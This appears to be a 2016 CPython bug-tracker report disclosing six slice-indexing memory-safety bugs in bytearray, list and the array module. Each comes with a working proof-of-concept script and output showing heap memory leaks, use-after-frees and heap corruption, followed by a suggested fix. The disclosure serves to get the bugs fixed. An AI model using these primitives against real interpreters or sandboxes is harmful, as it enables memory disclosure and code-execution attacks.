Author tehybel
Recipients tehybel
Date 2016-08-26.15:51:24
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za>
In-reply-to
Content
Here I will describe 6 issues with various core objects (bytearray, list) and
the array module.

Common to them all is that they arise due to a misuse of the function
PySlice_GetIndicesEx. 

This type of issue results in out-of-bounds array indexing which leads to memory
disclosure, use-after-frees or memory corruption, depending on the
circumstances.

For each issue I've attached a proof-of-concept script which either prints
leaked heap memory or segfaults on my machine (64-bit linux, --with-pydebug,
python 3.5.2).



Issue 1: out-of-bounds indexing when taking a bytearray's subscript

While taking the subscript of a bytearray, the function bytearray_subscript in
/Objects/bytearrayobject.c calls PySlice_GetIndicesEx to validate the given
indices. 

Some of these indices might be objects with an __index__ method, and thus
PySlice_GetIndicesEx could call back into python code.

If the evaluation of the indices modifies the bytearray, the indices might no
longer be safe, despite PySlice_GetIndicesEx saying so. 

Here is a PoC which lets us read out 64 bytes of uninitialized memory from the
heap:

---

class X:
    def __index__(self):
        b[:] = []
        return 1

b = bytearray(b"A"*0x1000)
print(b[0:64:X()])

---

Here's the result on my system:

$ ./python poc17.py
bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xce\x86\x9ff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')



Issue 2: memory corruption in bytearray_ass_subscript

This issue is similar to the one above. The problem exists when assigning to a
bytearray via subscripting. The relevant function is bytearray_ass_subscript.
The relevant line is again the one calling PySlice_GetIndicesEx.

Here's a PoC which leads to memory corruption of the heap:

---

class X:
    def __index__(self):
        del b[0:0x10000]
        return 1
        
b = bytearray(b"A"*0x10000)
b[0:0x8000:X()] = bytearray(b"B"*0x8000)

---

Here's the result of running it:

(gdb) r poc20.py 
Program received signal SIGSEGV, Segmentation fault.
PyCFunction_NewEx (ml=0x8b4140 <textiowrapper_methods+128>, self=self@entry=0x7ffff7f0e898, 
    module=module@entry=0x0) at Objects/methodobject.c:31
31	        free_list = (PyCFunctionObject *)(op->m_self);
(gdb) p op
$13 = (PyCFunctionObject *) 0x4242424242424242





Issue 3: use-after-free when taking the subscript of a list

This issue is similar to the one above, but it occurs when taking the subscript
of a list rather than a bytearray. The relevant code is in list_subscript which
exists in /Objects/listobject.c. Here's a PoC:

---

class X:
    def __index__(self):
        b[:] = [1, 2, 3]
        return 2

b = [123]*0x1000
print(b[0:64:X()])

---

It results in a segfault here because of a use-after-free:

(gdb) run ./poc18.py 
Program received signal SIGSEGV, Segmentation fault.
0x0000000000483553 in list_subscript (self=0x7ffff6d53988, item=<optimized out>) at Objects/listobject.c:2441
2441	                Py_INCREF(it);
(gdb) p it
$2 = (PyObject *) 0xfbfbfbfbfbfbfbfb




Issue 4: use-after-free when assigning to a list via subscripting

The same type of issue exists in list_ass_subscript where we assign to the list
using a subscript. Here's a PoC which also results in a use-after-free:

---

class X:
    def __index__(self):
        b[:] = [1, 2, 3]
        return 2

b = [123]*0x1000
b[0:64:X()] = [0]*32

---

(gdb) r poc19.py 
Program received signal SIGSEGV, Segmentation fault.
0x0000000000483393 in list_ass_subscript (self=<optimized out>, item=<optimized out>, 
    value=<optimized out>) at Objects/listobject.c:2603
2603	                Py_DECREF(garbage[i]);
(gdb) p garbage[i]
$4 = (PyObject *) 0xfbfbfbfbfbfbfbfb




Issue 5: out-of-bounds indexing in array_subscr

Same type of issue. The problem is in the function array_subscr in
/Modules/arraymodule.c. 

Here's a PoC which leaks and prints uninitialized memory from the heap:

---

import array

class X:
    def __index__(self):
        del a[:]
        a.append(2)
        return 1

a = array.array("b")
for _ in range(0x10):
    a.append(1)

print(a[0:0x10:X()])

---

And the result:

$ ./python poc22.py
array('b', [2, -53, -53, -53, -5, -5, -5, -5, -5, -5, -5, -5, 0, 0, 0, 0])





Issue 6: out-of-bounds indexing in array_ass_subscr

Same type of issue, also in the array module. Here's a PoC which segfaults here:

---

import array

class X:
    def __index__(self):
        del a[:]
        return 1

a = array.array("b")
a.frombytes(b"A"*0x100)
del a[::X()]

---





How should these be fixed? 

I would suggest that in each instance we could add a check after calling
PySlice_GetIndicesEx. The check should validate that the "length" argument
passed to PySlice_GetIndicesEx did not change during the call.  But maybe there
is a better way?

(By the way: these issues might also exist in 2.7, I did not check.)
History
Date User Action Args
2016-08-26 15:51:25tehybelsetrecipients: + tehybel
2016-08-26 15:51:25tehybelsetmessageid: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za>
2016-08-26 15:51:25tehybellinkissue27867 messages
2016-08-26 15:51:24tehybelcreate